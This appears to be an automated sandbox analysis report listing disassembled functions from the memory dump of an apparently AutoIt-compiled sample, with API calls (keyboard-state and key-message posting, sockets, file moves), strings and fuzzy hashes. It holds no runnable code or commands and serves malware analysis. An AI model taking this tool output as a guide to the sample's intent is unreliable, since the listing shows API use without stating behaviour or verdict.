Instruction ID: b806bbfccc69a0cc0a78c940b6658f5d9038c7fcaf7d2a0c3eb1b8e1f7bec5e3
Opcode Fuzzy Hash: 8e355a04a480975a6e8ce0f6303d6a0054184ad73710c3d8f3257a178f7415f1
Instruction Fuzzy Hash: B491D672E0021EDADF229F74E881AFE7BB59F45310F190669EA09EB290D735DC44CB60

Function 00434523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00434648
VariantInit.OLEAUT32(?), ref: 00434749
VariantClear.OLEAUT32(?), ref: 00434753
VariantClear.OLEAUT32(?), ref: 004347B0

Strings

Null Object assignment in FOR..IN loop, xrefs: 004345D8, 00434706, 004347BE
Incorrect Object type in FOR..IN loop, xrefs: 0043472C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 817d6de88973ee67c069bf008a4daf2a51a7fb7b9d3f0cf3b27fa2ccfc037978
Instruction ID: c29a02e091ef36a0d0db7ba30b115dd0110bc83adf263ce3d4f0019c40c24dee
Opcode Fuzzy Hash: 817d6de88973ee67c069bf008a4daf2a51a7fb7b9d3f0cf3b27fa2ccfc037978
Instruction Fuzzy Hash: E8919471A00215ABDF20CFA5C845FEF7BB8EF8A714F10855AF505AB281D778A941CFA4

Function 00421187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0042125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00421284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 004212A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004212D8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0042135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 004213C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00421430

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: fae003f5b9491a0b45ed791922d9b165f7b5a48dfd5fbfba168156bd3baa83e1
Instruction ID: 9a9e2a3f3ac395dd8304525f7825af7b9aa4068251cc2e7dfa050323bbbc297f
Opcode Fuzzy Hash: fae003f5b9491a0b45ed791922d9b165f7b5a48dfd5fbfba168156bd3baa83e1
Instruction Fuzzy Hash: 1E912575B00228DFDB01DF94E884BBE77B5FF15314F54406AE900EB2A1D778A941CBA8

Function 003C948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: cb8ef1a054102f7fa4bf2ff22773fc774d827a15f3ee31a18d80c0f116f57758
Instruction ID: 6e9a03fc9804857343408220b95753d929183fbafbf1e24a3ab1e17e9e3b3f0a
Opcode Fuzzy Hash: cb8ef1a054102f7fa4bf2ff22773fc774d827a15f3ee31a18d80c0f116f57758
Instruction Fuzzy Hash: 8C912771D00219EFCB11CFA9C888AEEBBB8FF49320F15805AE515B7291D678AD41CB60

Function 00433947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0043396B
CharUpperBuffW.USER32(?,?), ref: 00433A7A
_wcslen.LIBCMT ref: 00433A8A
VariantClear.OLEAUT32(?), ref: 00433C1F

Part of subcall function 00420CDF: VariantInit.OLEAUT32(00000000), ref: 00420D1F
Part of subcall function 00420CDF: VariantCopy.OLEAUT32(?,?), ref: 00420D28
Part of subcall function 00420CDF: VariantClear.OLEAUT32(?), ref: 00420D34

Strings

Incorrect Parameter format, xrefs: 004339A6, 00433BA1
AUTOIT.ERROR, xrefs: 00433A80, 00433A85

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 8c706a5ba8dc7244ad7f15ffddf5ede5991af655af2985710cb3fce374c3f233
Instruction ID: 36f387efd078ed96282f04d9ff1ac315a324075b4884666100c4accef0f3459b
Opcode Fuzzy Hash: 8c706a5ba8dc7244ad7f15ffddf5ede5991af655af2985710cb3fce374c3f233
Instruction Fuzzy Hash: 1D9178756083019FC700EF24C48196AB7E4FF89319F14886EF98A9B351DB34EE46CB96

Function 00434BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0041000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?,?,?,0041035E), ref: 0041002B
Part of subcall function 0041000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?,?), ref: 00410046
Part of subcall function 0041000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?,?), ref: 00410054
Part of subcall function 0041000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0040FF41,80070057,?), ref: 00410064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00434C51
_wcslen.LIBCMT ref: 00434D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00434DCF
CoTaskMemFree.OLE32(?), ref: 00434DDA

Strings

NULL Pointer assignment, xrefs: 00434E23, 00434E52

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: ff00d8c308b012abc2738b6067a708198b823d18cdeea51257b699c555ca02e6
Instruction ID: 6b06ff2ff8256f00486a3410027187cc6ecfbf1b1394fff643096eac1ff0919e
Opcode Fuzzy Hash: ff00d8c308b012abc2738b6067a708198b823d18cdeea51257b699c555ca02e6
Instruction Fuzzy Hash: 22913871D0021DAFDF11DFA4D891AEEB7B8FF48304F10816AE915AB251EB34AA45CF64

Function 004420FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00442183
GetMenuItemCount.USER32(00000000), ref: 004421B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004421DD
_wcslen.LIBCMT ref: 00442213
GetMenuItemID.USER32(?,?), ref: 0044224D
GetSubMenu.USER32(?,?), ref: 0044225B

Part of subcall function 00413A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00413A57
Part of subcall function 00413A3D: GetCurrentThreadId.KERNEL32 ref: 00413A5E
Part of subcall function 00413A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004125B3), ref: 00413A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 004422E3

Part of subcall function 0041E97B: Sleep.KERNEL32 ref: 0041E9F3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 356664b12e17a4ed7e0e488322460d5914a16e4fb430fd14f19478759e88e289
Instruction ID: f6a7e63839122f9c5662e2f1e9b22b66600faf50d375e041176587d5e2403579
Opcode Fuzzy Hash: 356664b12e17a4ed7e0e488322460d5914a16e4fb430fd14f19478759e88e289
Instruction Fuzzy Hash: 0171AF35A00215AFDB11DF64C981AAEB7F1FF48310F5484AAF916EB341DBB8AD418B94

Function 0041AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0041AEF9
GetKeyboardState.USER32(?), ref: 0041AF0E
SetKeyboardState.USER32(?), ref: 0041AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0041AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0041AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0041AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0041B020

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 09395d0fea8a527da9a501e50349555eb522fbe013557698f94a79c0c55f81e8
Instruction ID: 256f4ab3e2fb60bf1c8c43596436b1e96a7c1972fb32b66d0629fd559f54a477
Opcode Fuzzy Hash: 09395d0fea8a527da9a501e50349555eb522fbe013557698f94a79c0c55f81e8
Instruction Fuzzy Hash: 1951E3B06057D53DFB3682348C49BFB7EA99B06304F08848AF1D9455C2C3ACACD9D7A9

Function 0041ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0041AD19
GetKeyboardState.USER32(?), ref: 0041AD2E
SetKeyboardState.USER32(?), ref: 0041AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0041ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0041ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0041AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0041AE38

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: af2d00c1f3d52bc6b05cb17285054fe93ad4529f22796caef1eed5062a955c8b
Instruction ID: 9fa2a7927674832c6d9117dfc598b772e7f82c109eed7476d5e3fc972824432b
Opcode Fuzzy Hash: af2d00c1f3d52bc6b05cb17285054fe93ad4529f22796caef1eed5062a955c8b
Instruction Fuzzy Hash: 1451F7B05457D13DFB3283348C45BFB7EA95B46304F08848AE0D9469C2C3A8ECE8D75A

Function 003E542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(003F3CD6,?,?,?,?,?,?,?,?,003E5BA3,?,?,003F3CD6,?,?), ref: 003E5470
__fassign.LIBCMT ref: 003E54EB
__fassign.LIBCMT ref: 003E5506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,003F3CD6,00000005,00000000,00000000), ref: 003E552C
WriteFile.KERNEL32(?,003F3CD6,00000000,003E5BA3,00000000,?,?,?,?,?,?,?,?,?,003E5BA3,?), ref: 003E554B
WriteFile.KERNEL32(?,?,00000001,003E5BA3,00000000,?,?,?,?,?,?,?,?,?,003E5BA3,?), ref: 003E5584

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8638b9196e880cd1bfc55ec6eebdbfbbea0583b78110c3c3c7979a293d2b8738
Instruction ID: 010cdfec67be0b2c9614e28d810ba2be07b5d6976074ada4b103b3863ed2ea39
Opcode Fuzzy Hash: 8638b9196e880cd1bfc55ec6eebdbfbbea0583b78110c3c3c7979a293d2b8738
Instruction Fuzzy Hash: E4510771A006989FDB11CFA9D885AEEBBF9EF09304F14462AF556E72D1D7309A40CB60

Function 00446B76 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00446C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00446C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00446C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0042AB79,00000000,00000000), ref: 00446C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00446CC7

Strings

8Y, xrefs: 00446BB0, 00446C55

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID: 8Y
API String ID: 3688381893-2504371881
Opcode ID: e1024ea53d0c958d9220f0fe8594b53e420d24e553cf38e8b220c9cc04058555
Instruction ID: 2db7309644ad26d06ca3e9d5d4782f681e0d5b057c1b83941c965191c113d940
Opcode Fuzzy Hash: e1024ea53d0c958d9220f0fe8594b53e420d24e553cf38e8b220c9cc04058555
Instruction Fuzzy Hash: 2C41F735A00114AFE724CF68CCD4FAA7BA5EB0B350F16022AF895A73E0C375ED41CA49

Function 004310B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0043304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0043307A
Part of subcall function 0043304E: _wcslen.LIBCMT ref: 0043309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00431112
WSAGetLastError.WSOCK32 ref: 00431121
WSAGetLastError.WSOCK32 ref: 004311C9
closesocket.WSOCK32(00000000), ref: 004311F9

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: fa33898da2c6e5e23d014e1eb7f83bcd0ab685813eb94528b562361a336187d9
Instruction ID: 30c3359030f9719bafdd3a03c4aac9e778df54ab2d51bd25c2fcdf49d2e9876c
Opcode Fuzzy Hash: fa33898da2c6e5e23d014e1eb7f83bcd0ab685813eb94528b562361a336187d9
Instruction Fuzzy Hash: 4541D435600204AFDB109F14C885BEAB7E9EF49368F18806AFD159B2A1C778AD41CBE5

Function 0041CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0041CF22,?), ref: 0041DDFD

Part of subcall function 0041DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0041CF22,?), ref: 0041DE16

lstrcmpiW.KERNEL32(?,?), ref: 0041CF45
MoveFileW.KERNEL32(?,?), ref: 0041CF7F
_wcslen.LIBCMT ref: 0041D005
_wcslen.LIBCMT ref: 0041D01B
SHFileOperationW.SHELL32(?), ref: 0041D061

Strings

\*.*, xrefs: 0041CFF3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: d6fadc068501b05c09f608249c766db55409fd248dd859f7fee69aa30545d618
Instruction ID: bacd7a82b9a63dc4572e517828c56d3fbdd4fd9d2d8f445c68cf81663355cba6
Opcode Fuzzy Hash: d6fadc068501b05c09f608249c766db55409fd248dd859f7fee69aa30545d618
Instruction Fuzzy Hash: B0416675D452185FDF12EFA4DD81ADEB7B9AF08340F1000E7E509EB241EB34A685CB54

Function 00443D7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00443E35
IsMenu.USER32(?), ref: 00443E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00443E92
DrawMenuBar.USER32 ref: 00443EA5

Strings

8Y, xrefs: 00443DF7, 00443E12
0, xrefs: 00443D89

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0$8Y
API String ID: 3076010158-4199900344
Opcode ID: 38e676a1d2337c7b04b05a385397dbfdf6a96c75e0f7f7e2afc328eec8368240
Instruction ID: b6584746936e8855273003ff9f42eef3c93ff32c4104fa1d80ced627a93190fb
Opcode Fuzzy Hash: 38e676a1d2337c7b04b05a385397dbfdf6a96c75e0f7f7e2afc328eec8368240
Instruction Fuzzy Hash: 8D418875A02209EFEB10DF50D880AAABBB9FF49751F14402AE915AB350D334AE01CF54

Function 00417726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00417769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0041778F
SysAllocString.OLEAUT32(00000000), ref: 00417792
SysAllocString.OLEAUT32(?), ref: 004177B0
SysFreeString.OLEAUT32(?), ref: 004177B9
StringFromGUID2.OLE32(?,?,00000028), ref: 004177DE
SysAllocString.OLEAUT32(?), ref: 004177EC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: ce3ed4429719861f5af6c432810284218ad4a3bd5e050b5fac265a46e1ff100e
Instruction ID: ca5accc5910acbc428482ea3b14b0ed1be968c8cfc64df2b8ace0fb600ce6d7f
Opcode Fuzzy Hash: ce3ed4429719861f5af6c432810284218ad4a3bd5e050b5fac265a46e1ff100e
Instruction Fuzzy Hash: 4D21CC756051196FDF10DFA8CC84DFB77BCEB05364B044026F925DB291D674EC818768

Function 004177FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00417842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00417868
SysAllocString.OLEAUT32(00000000), ref: 0041786B
SysAllocString.OLEAUT32 ref: 0041788C
SysFreeString.OLEAUT32 ref: 00417895
StringFromGUID2.OLE32(?,?,00000028), ref: 004178AF
SysAllocString.OLEAUT32(?), ref: 004178BD

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 8afc69bbac498e89d5775174b09130dadc5d57e1645803f5a33c1f3ef5b8f9b8
Instruction ID: 956635d9ed741483d2110c035d870142fb787933b2d8772191a7be6ff8850907
Opcode Fuzzy Hash: 8afc69bbac498e89d5775174b09130dadc5d57e1645803f5a33c1f3ef5b8f9b8
Instruction Fuzzy Hash: A7213035609204AFDB10AFB8DC89DEB77BCEB097607148126F915CB2A1D678DC85CB78

Function 004204D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 004204F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0042052E

Strings

nul, xrefs: 00420567

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

